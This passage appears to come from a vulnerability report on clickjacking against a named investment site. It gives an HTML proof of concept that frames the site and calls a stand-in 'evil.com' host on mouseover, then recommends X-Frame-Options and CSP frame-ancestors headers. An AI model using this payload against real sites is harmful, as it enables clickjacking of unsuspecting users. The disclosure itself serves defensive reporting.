</head>
<body >
<a onmouseover="window.open('http://evil.com')" style="z-
index:1;left:900px;position:relative;top:150px;font-size: 30px;text-transform: capitalize;color:red;text-
decoration:none;font-style: normal;">clickjacking</a>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts"
style="opacity:1" src="https://invest.ssbmultiservices.com/">
</ifram>
</body>
</html>
```

**This code save with html file and run this**

### **The impact of this vulnerability:**

The impact depends on the affected web application.

### **How to fix this vulnerability:**

Configure your web server to include an X-Frame-Options header and a CSP header with frame-ancestors directive. Consult Web references for more information about the possible values for this header.

### **Recommendation**

Configure your web server to include an X-Frame-Options header and a CSP header with frame-ancestors directive. Consult Web references for more information about the possible values for this header.
